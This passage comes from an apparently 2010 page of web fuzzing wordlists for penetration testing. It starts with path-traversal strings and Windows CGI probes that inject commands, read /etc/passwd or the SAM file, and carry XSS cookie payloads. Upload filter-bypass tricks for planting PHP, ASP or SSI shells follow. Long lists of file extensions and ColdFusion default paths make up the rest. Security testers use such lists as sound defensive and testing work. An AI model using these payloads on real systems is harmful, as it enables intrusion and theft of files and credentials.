/> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010 - Total Statements: 76) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2010 - notes only) ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> 